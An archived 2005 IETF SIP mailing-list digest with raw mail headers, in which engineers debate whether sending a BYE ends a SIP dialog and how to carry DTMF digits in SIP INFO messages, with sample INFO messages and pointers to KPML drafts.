-0500 Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-2.cisco.com with ESMTP; 08 Feb 2005 10:19:31 -0800 Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j18IAvTj010213; Tue, 8 Feb 2005 10:10:58 -0800 (PST) Received: from [10.32.245.155] (stealth-10-32-245-155.cisco.com [10.32.245.155]) by imail.cisco.com (8.12.11/8.12.10) with SMTP id j18I6Edv006239; Tue, 8 Feb 2005 10:06:15 -0800 In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F803E534D7@baker.datcon.co.uk> References: <53F74F5A7B94D511841C00B0D0AB16F803E534D7@baker.datcon.co.uk> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: David R Oran Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog requests Date: Tue, 8 Feb 2005 13:10:49 -0500 To: "Paul D.Smith" X-Mailer: Apple Mail (2.619.2) IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107885978.155861"; x:"432200"; a:"rsa-sha1"; b:"nofws:4614"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"p0P8x3QLpwld8HFscdyrP6UFTLQrJQZlkr3zL2KBoffTuTvtNEPMkKaWTAJ752WBsz8b/DTY" "qRJJwxgGCTPVV+Zmv0irbhlM5OQT4inhOnvMdHs4Ft3DlJFI/LeRJ2A0Ua4ywfDDMxvIy50YbFq" "kj//uMvmLAU8JlEG0DuL7HTQ="; c:"From: David R Oran "; c:"Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog r" "equests"; c:"Date: Tue, 8 Feb 2005 13:10:49 -0500" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " X-Spam-Score: 0.0 (/) X-Scan-Signature: 7da5a831c477fb6ef97f379a05fb683c Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8f374d0786b25a451ef87d82c076f593 Content-Transfer-Encoding: 7bit On Feb 8, 2005, at 12:31 PM, Paul D.Smith wrote: > Rohan, > > I think the text is better and now ensures that a NOTIFY response > does not take down the dialog. > > However I am still concerned about the whole idea that sending > a BYE ends a dialog. I believe this is tantamount to making a > BYE pointless. No more pointless than a TCP FIN. It's a polite way of saying "I'm throwing my dialog state away so it probably makes sense for you to trash yours too". Perhaps you think it's pointless because you thought a BYE was somehow had more semantics? > The reason for saying this is we are removing > ability to either challenge a BYE, or to indicate that a BYE > failed to reach the UAS as a result of a temporary problem. > Where does the text say I can't challenge a BYE? I certainly don't want to believe a BYE unless it is properly authenticated because that opens a DoS attack. I don't follow your second sentence, since I can't respond to a request I never received, so there's not way to indicate this from the UAS to the UAC. > If I receive either a 407, 401 or 486 response, I MUST be able > to resend the BYE why? > but by your definition, the dialog has > already ended. and by mine. You can't cause dialog state that has evaporated (which is what I think 401, 407 and 486 each imply) to somehow get reconstituted such that a BYE will be processed as if the dialog existed. We could change the semantics of BYE such that it is idempotent, but I bet people would react to that the way they react to similar suggestions I've made over the years (I remember the flameage I got for a directory system where if you deleted a non-existent directory entry, the system just said "OK, deleted". In fact, if you tried to delete an entry you didn't have read privileges on, it also said "OK deleted". I'll leave it to you to figure out why this has nice security properties.). > This seems simply wrong and, as I've pointed > out before, totally contrary to the text in RFC3261. Now if > this is the route that the WG wants to take then so be it, but > we then need to start making associated changes to > SIP. > > If we are going to say "when you send a BYE, the dialog is ended" > then I propose that we need to clarify SIP behavior as follows. > Since a dialog is a distributed state machine, it is not possible to say this, and I don't think that it does say this anywhere. > 1. A BYE cannot be challenged. Umm, can't see people liking that > but since the dialog ends on sending the first BYE, there is > no dialog so its over! Perhaps we could indicate that a > UAS can, should it wish, reject an unauthenticated BYE but it > should NOT expect to receive a better BYE. > This would be wrong and I don't think anybody is suggesting it. > [There is obviously a DoS attack possible if we allow any > unauthenticated BYE to end a dialog] > > 2. A UAS must determine for itself when a dialog has ended in case > a proxy sends a 486 and the UAC never resends a BYE. Now this > is clearly an application level requirement already in case, > for example, a lost network connection rules out all chance > of a BYE ever arriving. But your change makes is a much more > common occurrence ?? caused by a short-term overload. > I don't follow this. If you get a 486 from a proxy you can be pretty sure no other request is going to get through for that dialog, so what's the point of keeping your state around or sending more requests? > Thoughts? > Paul D Smith > Network Protocols Group > Data Connection Ltd (DCL) > Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com > Fax: +44 20 8363 1039 Web: http://www.dataconnection.com > > -----Original Message----- > From: Rohan Mahy [mailto:rohan@ekabal.com] > Sent: 28 January 2005 20:32 > To: SIP > Subject: wording in the dialog package on mid-dialog requests > > > Hi Paul, > > To clarify the difference between a 481 to a NOTIFY (intended for a > subscribe usage), and a 481 to a request specific to the INVITE usage > of a dialog, I propose the following small change to the text in the > dialog package. I believe this addresses your concern with respect to > the dialog package specification itself. In general, we need to be more > specific about the context of error responses. > > thanks, > -rohan > > Current Text >> Once in the confirmed state, the call is active. It can transition to >> the terminated state if the UAC sends a BYE or receives a BYE >> (corresponding to the "local-bye" and "remote-bye" events as >> appropriate), if a mid-dialog request generates a 481 or 408 response >> (corresponding to the "error" event), or a mid-dialog request >> generates no response (corresponding to the "timeout" event). > > Proposed Text >> Once in the confirmed state, the call is active. It can transition to >> the terminated state if the UAC sends a BYE or receives a BYE >> (corresponding to the "local-bye" and "remote-bye" events as >> appropriate), if a mid-dialog request corresponding to the INVITE >> usage of that dialog (currently PRACK, UPDATE, INFO, and reINVITE >> requests) generates a 481 or 408 response (corresponding to the >> "error" event), or if any mid-dialog request generates no response >> (corresponding to the "timeout" event). > > > > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > David R. Oran Cisco Fellow Cisco Systems 7 Ladyslipper Lane Acton, MA 01720 USA Tel: +1 978 264 2048 Email: oran@cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 8 13:46:01 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03799 for ; Tue, 8 Feb 2005 13:46:01 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cyagm-0003Bj-Qr for sip-web-archive@ietf.org; Tue, 08 Feb 2005 14:06:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyaL6-0001T9-Qb; Tue, 08 Feb 2005 13:43:56 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyaKQ-0001FV-Ow for sip@megatron.ietf.org; Tue, 08 Feb 2005 13:43:14 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03344 for ; Tue, 8 Feb 2005 13:43:11 -0500 (EST) Received: from rtp-iport-1.cisco.com ([64.102.122.148]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cyae5-00036F-1y for sip@ietf.org; Tue, 08 Feb 2005 14:03:33 -0500 Received: from rtp-core-2.cisco.com (64.102.124.13) by rtp-iport-1.cisco.com with ESMTP; 08 Feb 2005 13:53:51 -0500 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j18IgehF023083; Tue, 8 Feb 2005 13:42:41 -0500 (EST) Received: from cisco.com ([161.44.79.182]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id AOY14311; Tue, 8 Feb 2005 13:42:39 -0500 (EST) Message-ID: <4209081F.7020404@cisco.com> Date: Tue, 08 Feb 2005 13:42:39 -0500 From: Paul Kyzivat User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David R Oran Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog requests References: <53F74F5A7B94D511841C00B0D0AB16F803E534D7@baker.datcon.co.uk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 225414c974e0d6437992164e91287a51 Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , "Paul D.Smith" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 21be852dc93f0971708678c18d38c096 Content-Transfer-Encoding: 7bit I would be much happier if every reference to "dialog" was replaced with "invite-dialog-usage" or something like that. The whole concept that a BYE causes a *dialog* to go away, when there could still be some other usage of that dialog in progress, is broken. Othewise I agree with Dave. Paul David R Oran wrote: > > On Feb 8, 2005, at 12:31 PM, Paul D.Smith wrote: > >> Rohan, >> >> I think the text is better and now ensures that a NOTIFY response >> does not take down the dialog. >> >> However I am still concerned about the whole idea that sending >> a BYE ends a dialog. I believe this is tantamount to making a >> BYE pointless. > > No more pointless than a TCP FIN. It's a polite way of saying "I'm > throwing my dialog state away so it probably makes sense for you to > trash yours too". Perhaps you think it's pointless because you thought a > BYE was somehow had more semantics? > >> The reason for saying this is we are removing >> ability to either challenge a BYE, or to indicate that a BYE >> failed to reach the UAS as a result of a temporary problem. >> > Where does the text say I can't challenge a BYE? I certainly don't want > to believe a BYE unless it is properly authenticated because that opens > a DoS attack. I don't follow your second sentence, since I can't respond > to a request I never received, so there's not way to indicate this from > the UAS to the UAC. > >> If I receive either a 407, 401 or 486 response, I MUST be able >> to resend the BYE > > why? > >> but by your definition, the dialog has >> already ended. > > and by mine. You can't cause dialog state that has evaporated (which is > what I think 401, 407 and 486 each imply) to somehow get reconstituted > such that a BYE will be processed as if the dialog existed. We could > change the semantics of BYE such that it is idempotent, but I bet people > would react to that the way they react to similar suggestions I've made > over the years (I remember the flameage I got for a directory system > where if you deleted a non-existent directory entry, the system just > said "OK, deleted". In fact, if you tried to delete an entry you didn't > have read privileges on, it also said "OK deleted". I'll leave it to you > to figure out why this has nice security properties.). > >> This seems simply wrong and, as I've pointed >> out before, totally contrary to the text in RFC3261. Now if >> this is the route that the WG wants to take then so be it, but >> we then need to start making associated changes to >> SIP. >> >> If we are going to say "when you send a BYE, the dialog is ended" >> then I propose that we need to clarify SIP behavior as follows. >> > Since a dialog is a distributed state machine, it is not possible to say > this, and I don't think that it does say this anywhere. > >> 1. A BYE cannot be challenged. Umm, can't see people liking that >> but since the dialog ends on sending the first BYE, there is >> no dialog so its over! Perhaps we could indicate that a >> UAS can, should it wish, reject an unauthenticated BYE but it >> should NOT expect to receive a better BYE. >> > This would be wrong and I don't think anybody is suggesting it. > >> [There is obviously a DoS attack possible if we allow any >> unauthenticated BYE to end a dialog] >> >> 2. A UAS must determine for itself when a dialog has ended in case >> a proxy sends a 486 and the UAC never resends a BYE. Now this >> is clearly an application level requirement already in case, >> for example, a lost network connection rules out all chance >> of a BYE ever arriving. But your change makes is a much more >> common occurrence ?? caused by a short-term overload. >> > I don't follow this. If you get a 486 from a proxy you can be pretty > sure no other request is going to get through for that dialog, so what's > the point of keeping your state around or sending more requests? > >> Thoughts? >> Paul D Smith >> Network Protocols Group >> Data Connection Ltd (DCL) >> Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com >> Fax: +44 20 8363 1039 Web: http://www.dataconnection.com >> >> -----Original Message----- >> From: Rohan Mahy [mailto:rohan@ekabal.com] >> Sent: 28 January 2005 20:32 >> To: SIP >> Subject: wording in the dialog package on mid-dialog requests >> >> >> Hi Paul, >> >> To clarify the difference between a 481 to a NOTIFY (intended for a >> subscribe usage), and a 481 to a request specific to the INVITE usage >> of a dialog, I propose the following small change to the text in the >> dialog package. I believe this addresses your concern with respect to >> the dialog package specification itself. In general, we need to be more >> specific about the context of error responses. >> >> thanks, >> -rohan >> >> Current Text >> >>> Once in the confirmed state, the call is active. It can transition to >>> the terminated state if the UAC sends a BYE or receives a BYE >>> (corresponding to the "local-bye" and "remote-bye" events as >>> appropriate), if a mid-dialog request generates a 481 or 408 response >>> (corresponding to the "error" event), or a mid-dialog request >>> generates no response (corresponding to the "timeout" event). >> >> >> Proposed Text >> >>> Once in the confirmed state, the call is active. It can transition to >>> the terminated state if the UAC sends a BYE or receives a BYE >>> (corresponding to the "local-bye" and "remote-bye" events as >>> appropriate), if a mid-dialog request corresponding to the INVITE >>> usage of that dialog (currently PRACK, UPDATE, INFO, and reINVITE >>> requests) generates a 481 or 408 response (corresponding to the >>> "error" event), or if any mid-dialog request generates no response >>> (corresponding to the "timeout" event). >> >> >> >> >> >> _______________________________________________ >> Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >> This list is for NEW development of the core SIP Protocol >> Use sip-implementors@cs.columbia.edu for questions on current sip >> Use sipping@ietf.org for new developments on the application of sip >> > David R. Oran > Cisco Fellow > Cisco Systems > 7 Ladyslipper Lane > Acton, MA 01720 USA > Tel: +1 978 264 2048 > Email: oran@cisco.com > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 9 03:03:50 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08241 for ; Wed, 9 Feb 2005 03:03:50 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cyn8z-0000d2-4v for sip-web-archive@ietf.org; Wed, 09 Feb 2005 03:24:17 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cymex-0001o3-2B; Wed, 09 Feb 2005 02:53:15 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CyQWl-0005Vn-Q7 for sip@megatron.ietf.org; Tue, 08 Feb 2005 03:15:19 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA14272 for ; Tue, 8 Feb 2005 03:15:16 -0500 (EST) Received: from smail.alcatel.fr ([62.23.212.165]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyQqG-000623-Dk for sip@ietf.org; Tue, 08 Feb 2005 03:35:31 -0500 Received: from bemail05.netfr.alcatel.fr (bemail05.netfr.alcatel.fr [155.132.251.11]) by smail.alcatel.fr (ALCANET/NETFR) with ESMTP id j188FBVw001528 for ; Tue, 8 Feb 2005 09:15:11 +0100 Received: from [172.31.227.120] ([172.31.227.120]) by bemail05.netfr.alcatel.fr (Lotus Domino Release 5.0.12HF788) with ESMTP id 2005020809150924:1517 ; Tue, 8 Feb 2005 09:15:09 +0100 Message-ID: <4208750D.1020309@alcatel.be> Date: Tue, 08 Feb 2005 09:15:09 +0100 From: Jan.Van_Opstal@alcatel.be User-Agent: Mozilla Thunderbird 0.7.2 (Windows/20040707) X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org X-MIMETrack: Itemize by SMTP Server on BEMAIL05/BE/ALCATEL(Release 5.0.12HF788 | September 23, 2004) at 02/08/2005 09:15:09, Serialize by Router on BEMAIL05/BE/ALCATEL(Release 5.0.12HF788 | September 23, 2004) at 02/08/2005 09:15:10, Serialize complete at 02/08/2005 09:15:10 X-Alcanet-MTA-scanned-and-authorized: yes X-Spam-Score: 1.9 (+) X-Scan-Signature: 2ed806e2f53ff1a061ad4f97e00345ac X-Mailman-Approved-At: Wed, 09 Feb 2005 02:51:58 -0500 Subject: [Sip] SIP INFO & DTMF X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0432726442==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 1.3 (+) X-Scan-Signature: 1449ead51a2ff026dcb23465f5379250 This is a multi-part message in MIME format. --===============0432726442== Content-Type: multipart/alternative; boundary="------------020905060108070809070205" This is a multi-part message in MIME format. --------------020905060108070809070205 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi all, I am currently confused how DTMF digits can be carried via the signalling path using SIP. If I am not mistaking, then a SIP INFO message should be used, but the confusion that I have is how should the content look like ? There are some drafts, namely: - /draft-choudhuri-sip-info-digit-00.txt expired October 2000 / - ///draft-mahy-sipping-signaled-digits-00.txt expired May 2002/ but as you can see, all expired. Some think RFC2833 should be used withing a SIP message. But it seems rather unlogical to use a sip info message to carry digits as explained in rfc2833 which targets rtp packets ... ? I have checked the implementation of some MGW manufacturers: Cisco, Snom and AudioCodes all use draft /mahy-sipping-signaled-digits-00.txt/, but is this the way to go ? Or is there maybe a new draft or standard that tell us what to use ? Thanks in advance, Van Opstal Jan R&D Alcatel Antwerp, Belgium Note: 1) an example of a SIP INFO message using RFC2833: INFO sip:192.168.50.7:5060 SIP/2.0 From: ;tag=0082-00000002-0021 To: ;tag=0082-000000dd-05d1i0 Call-ID: 0082-00000002-00214204b9f1-167e-433ca000@sipua CSeq: 4 INFO Max-Forwards: 29 Contact: "sipua" Content-Type: audio/telephone-event Content-Length: 4 ??,2,100 (the body part is not really correct: should be extracted as explained in RFC2833) 2) an example of a SIP INFO msg using draft /mahy-sipping-signaled-digits-00.txt/: INFO sip:2143302100@172.17.2.33 SIP/2.0 Via: SIP/2.0/UDP 172.80.2.100:5060 From: ;tag=43 To: ;tag=9753.0207 Call-ID: 984072_15401962@172.80.2.100 CSeq: 25634 INFO Content-Length: 26 Content-Type: application/dtmf-relay Signal= 7 Duration= 300 --------------020905060108070809070205 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all,

I am currently confused how DTMF digits can be carried via the
signalling path using SIP. If I am not mistaking, then a SIP INFO
message should be used, but the confusion that I have is how should
the content look like ?

There are some drafts, namely:

 -  draft-choudhuri-sip-info-digit-00.txt expired October 2000
 - draft-mahy-sipping-signaled-digits-00.txt expired May 2002

but as you can see, all expired.

Some think RFC2833 should be used withing a SIP message.  But
it seems rather unlogical to use a sip info message to carry digits as
explained in rfc2833 which targets rtp packets ... ?

I have checked the implementation of some MGW manufacturers:
Cisco, Snom and AudioCodes all use draft mahy-sipping-signaled-digits-00.txt,
but is this the way to go ? Or is there maybe a new draft or standard
that tell us what to use ?

Thanks in advance,

    Van Opstal Jan
    R&D Alcatel Antwerp, Belgium

Note:
1) an example of a SIP INFO message using RFC2833:

INFO sip:192.168.50.7:5060 SIP/2.0
From: <sip:496420033@192.168.50.5;user=phone>;tag=0082-00000002-0021
To: <sip:025552024@192.168.50.5;user=phone>;tag=0082-000000dd-05d1i0
Call-ID: 0082-00000002-00214204b9f1-167e-433ca000@sipua
CSeq: 4 INFO
Max-Forwards: 29
Contact: "sipua" <sip:192.168.50.6:5060>
Content-Type: audio/telephone-event
Content-Length: 4

,2,100

(the body part is not really correct: should be extracted as
explained in RFC2833)

2) an example of a SIP INFO msg using draft mahy-sipping-signaled-digits-00.txt:

INFO sip:2143302100@172.17.2.33 SIP/2.0
Via: SIP/2.0/UDP 172.80.2.100:5060
From: <sip:9724401003@172.80.2.100>;tag=43
To: <sip:2143302100@172.17.2.33>;tag=9753.0207
Call-ID: 984072_15401962@172.80.2.100
CSeq: 25634 INFO
Content-Length: 26
Content-Type: application/dtmf-relay

Signal= 7
Duration= 300
--------------020905060108070809070205-- --===============0432726442== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0432726442==-- From sip-bounces@ietf.org Wed Feb 9 04:16:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA11814 for ; Wed, 9 Feb 2005 04:16:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyoGx-00023Z-56 for sip-web-archive@ietf.org; Wed, 09 Feb 2005 04:36:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cynut-00024k-Sq; Wed, 09 Feb 2005 04:13:47 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cyntb-0001dv-AD for sip@megatron.ietf.org; Wed, 09 Feb 2005 04:12:27 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA11658 for ; Wed, 9 Feb 2005 04:12:25 -0500 (EST) Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly13b.srv.mailcontrol.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CyoDJ-0001x9-HM for sip@ietf.org; Wed, 09 Feb 2005 04:32:53 -0500 Received: from GBNEWP0758M.eu.ubiquity.net ([62.172.205.164]) by rly13b.srv.mailcontrol.com (MailControl) with ESMTP id j199BiJ8004367; Wed, 9 Feb 2005 09:11:44 GMT X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [Sip] SIP INFO & DTMF Date: Wed, 9 Feb 2005 09:10:38 -0000 Message-ID: <45730E094814E44488F789C1CDED27AE02BDFA47@gbnewp0758m.eu.ubiquity.net> Thread-Topic: [Sip] SIP INFO & DTMF Thread-Index: AcUOfeFWT2fImuxrREKyZSxPpCQghwACPTzw From: "Chris Boulton" To: , X-Scanned-By: MailControl A-05-00-12 (www.mailcontrol.com) X-Spam-Score: 0.3 (/) X-Scan-Signature: 4c358d334afcd91b425d436ca5722f22 X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0446480794==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.6 (/) X-Scan-Signature: 441f623df000f14368137198649cb083 This is a multi-part message in MIME format... --===============0446480794== content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C50E87.38FD4D40" This is a multi-part message in MIME format... ------_=_NextPart_001_01C50E87.38FD4D40 Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Take a look at the application interaction work:- =20 http://www.ietf.org/internet-drafts/draft-ietf-sipping-app-interaction-fram= ework-03.txt =20 in association with the 'Key Pad Markup Language':- =20 http://www.ietf.org/internet-drafts/draft-ietf-sipping-kpml-07.txt =20 HTH, =20 Chris. =20 =20 =20 -----Original Message----- From: Jan.Van_Opstal@alcatel.be [mailto:Jan.Van_Opstal@alcatel.be]=20 Sent: 08 February 2005 08:15 To: sip@ietf.org Subject: [Sip] SIP INFO & DTMF =20 Hi all, I am currently confused how DTMF digits can be carried via the=20 signalling path using SIP. If I am not mistaking, then a SIP INFO=20 message should be used, but the confusion that I have is how should=20 the content look like ? There are some drafts, namely: - draft-choudhuri-sip-info-digit-00.txt expired October 2000 - draft-mahy-sipping-signaled-digits-00.txt expired May 2002 but as you can see, all expired. Some think RFC2833 should be used withing a SIP message. But=20 it seems rather unlogical to use a sip info message to carry digits as=20 explained in rfc2833 which targets rtp packets ... ? I have checked the implementation of some MGW manufacturers: Cisco, Snom and AudioCodes all use draft mahy-sipping-signaled-digits-00.tx= t, but is this the way to go ? Or is there maybe a new draft or standard that tell us what to use ? Thanks in advance, Van Opstal Jan R&D Alcatel Antwerp, Belgium Note:=20 1) an example of a SIP INFO message using RFC2833: INFO sip:192.168.50.7:5060 SIP/2.0 From: ;tag=3D0082-00000002-0021 To: ;tag=3D0082-000000dd-05d1i0 Call-ID: 0082-00000002-00214204b9f1-167e-433ca000@sipua CSeq: 4 INFO Max-Forwards: 29 Contact: "sipua" Content-Type: audio/telephone-event Content-Length: 4 =8F=8F,2,100 (the body part is not really correct: should be extracted as explained in RFC2833) 2) an example of a SIP INFO msg using draft mahy-sipping-signaled-digits-00= .txt: INFO sip:2143302100@172.17.2.33 SIP/2.0=20 Via: SIP/2.0/UDP 172.80.2.100:5060=20 From: ;t= ag=3D43=20 To: ;tag= =3D9753.0207=20 Call-ID: 984072_15401962@172.80.2.100=20 CSeq: 25634 INFO=20 Content-Length: 26=20 Content-Type: application/dtmf-relay=20 Signal=3D 7=20 Duration=3D 300=20 This email and any attached files are confidential and copyright protected.= If you are not the addressee, any dissemination, distribution or copying = of this communication is strictly prohibited. Unless otherwise expressly a= greed in writing, nothing stated in this communication shall be legally bin= ding. ------_=_NextPart_001_01C50E87.38FD4D40 Content-Type: text/html; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable

Take a look at the application interac= tion work:-

 

http://www.ietf.org/internet-drafts/draft-ietf-sippin= g-app-interaction-framework-03.txt

 

in association with the ‘Key Pad Markup Language’:-

 

http://www.ietf.org/internet-drafts/draft-ietf-sipping-kpml-07.txt

 

HTH,

 

Chris.

 

 

 

-----Original Message-----
From: Jan.Van_Opstal@alcatel= .be [mailto:Jan.Van_Opstal@alcatel.be]
Sent: 08 February 2005 08:15=
To: sip@ietf.org
Subject: [Sip] SIP INFO &= ; DTMF

 

Hi all,

I am currently confused how DTMF digits can be carried via the
signalling path using SIP. If I am not mistaking, then a SIP INFO
message should be used, but the confusion that I have is how should
the content look like ?

There are some drafts, namely:

 -  draft-choudhuri-sip-info= -digit-00.txt expired October 2000
 - draft-mahy-sip= ping-signaled-digits-00.txt expired May 2002

but as you can see, all expired.

Some think RFC2833 should be used withing a SIP message.  But
it seems rather unlogical to use a sip info message to carry digits as
explained in rfc2833 which targets rtp packets ... ?

I have checked the implementation of some MGW manufacturers:
Cisco, Snom and AudioCodes all use draft mahy-sipping-signaled-digits-00.txt,
but is this the way to go ? Or is there maybe a new draft or standard
that tell us what to use ?

Thanks in advance,

    Van Opstal Jan
    R&D Alcatel Antwerp, Belgium

Note:
1) an example of a SIP INFO message using RFC2833:

INFO sip:192.168.50.7:5060 SIP/2.0
From: <sip:496420033@1= 92.168.50.5;user=3Dphone>;tag=3D0082-00000002-0021
To: <sip:025552024@1= 92.168.50.5;user=3Dphone>;tag=3D0082-000000dd-05d1i0
Call-ID: 0082-00000002-00214204b9f1-167e-433ca000@sipua
CSeq: 4 INFO
Max-Forwards: 29
Contact: "sipua" <sip:192.168.50.6:5060>
Content-Type: audio/telephone-event
Content-Length: 4

=8F=8F,2,100

(the body part is not really correct: should= be extracted as
explained in RFC2833)

2) an example of a SIP INFO msg using draft mahy-sipping-signaled-digits-00.txt:

IN= FO sip:2143302100@172.17.2.33 S= IP/2.0
Via: SIP/2.0/UDP 172.80.2.100:5060
From: <sip:9724401003@172.80.2.100>;tag=3D43
To: <sip:2143302100@172.17.2.33>;tag=3D9753.0207
Call-ID: 984072_15401962@172.80.2.100
CSeq: 25634 INFO
Content-Length: 26
Content-Type: application/dtmf-relay =

Signal=3D 7
Duration=3D 300



This email and any attac= hed files are confidential and copyright protected.  If you are not th= e addressee, any dissemination, distribution or copying of this communicati= on is strictly prohibited.  Unless otherwise expressly agreed in writi= ng, nothing stated in this communication shall be legally binding.
